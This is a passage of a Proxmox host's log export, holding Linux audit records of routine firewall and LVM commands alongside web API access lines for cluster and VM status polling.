a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966093813,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1121"} {"@timestamp":1781964505964,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964505.964:61299): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58845 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275266,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.266:64920): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62366 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965593606,"@rawstring":"node=pve type=EXECVE msg=audit(1781965593.606:66262): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966093813,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:52 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 927"} {"@timestamp":1781964505958,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964505.958:61298): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58844 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275258,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.258:64919): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62365 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965593589,"@rawstring":"node=pve type=EXECVE msg=audit(1781965593.589:66259): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966091791,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:51 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964505954,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964505.954:61297): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b5950 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58843 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275254,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.254:64918): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5e76a74f8740 items=0 ppid=1156 pid=62364 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965588583,"@rawstring":"node=pve type=EXECVE msg=audit(1781965588.583:66256): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966091791,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:50 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 941"} {"@timestamp":1781964505948,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964505.948:61296): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146730 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58842 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275252,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.252:64917): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc134ee0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62364 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965588574,"@rawstring":"node=pve type=EXECVE msg=audit(1781965588.574:66253): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966091791,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:50 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964505942,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964505.942:61295): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139770 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58841 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275246,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.246:64916): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13b990 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62363 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585892,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.892:66250): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966090802,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964504924,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964504.924:61294): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b1160 a1=64f8d741b6e0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58840 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275239,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.239:64915): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc14a380 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62362 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585887,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.887:66249): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966090802,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:50 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1129"} {"@timestamp":1781964504899,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964504.899:61293): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b01a0 a1=64f8d73bfab0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58839 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275234,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.234:64914): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f9120 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62361 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585886,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.886:66248): argc=1 a0=\"date\""} {"@timestamp":1781966090802,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:49 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1129"} {"@timestamp":1781964504622,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964504.622:61292): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58836 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275226,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.226:64913): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc14a380 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62360 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585881,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.881:66246): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966089209,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:48 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 928"} {"@timestamp":1781964504614,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964504.614:61289): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58835 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275220,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.220:64912): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8c64f60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62359 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585872,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.872:66245): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966089209,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:48 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964499608,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964499.608:61286): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58834 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275212,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.212:64911): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62358 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585863,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.863:66244): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966087771,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1129"} {"@timestamp":1781964499599,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964499.599:61283): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58833 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275203,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.203:64910): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62357 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585852,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.852:66243): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966087771,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:46 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781964495931,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.931:61280): arch=c000003e syscall=59 success=yes exit=0 a0=61c83648dd30 a1=61c836499f00 a2=61c836467680 a3=5 items=2 ppid=58826 pid=58832 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275199,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.199:64909): arch=c000003e syscall=59 success=yes exit=0 a0=63e475f28ae0 a1=63e475f34a80 a2=63e475f02680 a3=5 items=2 ppid=62350 pid=62356 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585845,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.845:66242): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966087771,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:46 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964495927,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.927:61279): arch=c000003e syscall=59 success=yes exit=0 a0=61c821359ac8 a1=7fffd91654b0 a2=61c836467680 a3=61c82133d24e items=2 ppid=58826 pid=58828 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275191,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.191:64908): arch=c000003e syscall=59 success=yes exit=0 a0=63e45d978ac8 a1=7fff45127f30 a2=63e475f02680 a3=63e45d95c24e items=2 ppid=62350 pid=62352 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585824,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.824:66240): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966087771,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964495926,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.926:61278): arch=c000003e syscall=59 success=yes exit=0 a0=7fffd9165470 a1=61c8364893d0 a2=61c836467680 a3=5 items=2 ppid=58826 pid=58827 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275189,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.189:64907): arch=c000003e syscall=59 success=yes exit=0 a0=7fff45127ef0 a1=63e475f24180 a2=63e475f02680 a3=5 items=2 ppid=62350 pid=62351 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585810,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.810:66239): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966086771,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:45 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1129"} {"@timestamp":1781964495923,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.923:61276): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58826 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275185,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.185:64905): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62350 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585793,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.793:66238): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966085557,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:44 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964495917,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.917:61275): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58825 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275177,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.177:64904): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62349 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585778,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.778:66237): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966085557,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:44 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 928"} {"@timestamp":1781964495911,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.911:61274): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58824 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275170,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.170:64903): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62348 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585756,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.756:66236): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966085557,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:44 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1114"} {"@timestamp":1781964495904,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.904:61273): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1467c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58823 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275165,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.165:64902): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adbd00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62347 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585734,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.734:66235): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966083143,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:42 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 936"} {"@timestamp":1781964495897,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.897:61272): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58822 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965275154,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.154:64901): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ee330 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62346 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585699,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.699:66234): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966083143,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:42 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964495895,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.895:61271): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=6435ca613740 items=0 ppid=1156 pid=58821 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965275144,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965275.144:64900): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ecee0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62345 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585669,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.669:66233): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966083143,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 503"} {"@timestamp":1781964495892,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.892:61270): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13b7c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58821 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965274489,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965274.489:64899): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73be6b0 a1=64f8d741b5f0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62342 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585661,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.661:66232): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966083143,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:41 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 506"} {"@timestamp":1781964495888,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.888:61269): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc136170 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58820 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965274456,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965274.456:64898): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73d5cb0 a1=64f8d16fa970 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62341 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965585652,"@rawstring":"node=pve type=EXECVE msg=audit(1781965585.652:66231): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966081845,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:41 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1114"} {"@timestamp":1781964495882,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964495.882:61268): arch=c000003e syscall=59 success=yes exit=0 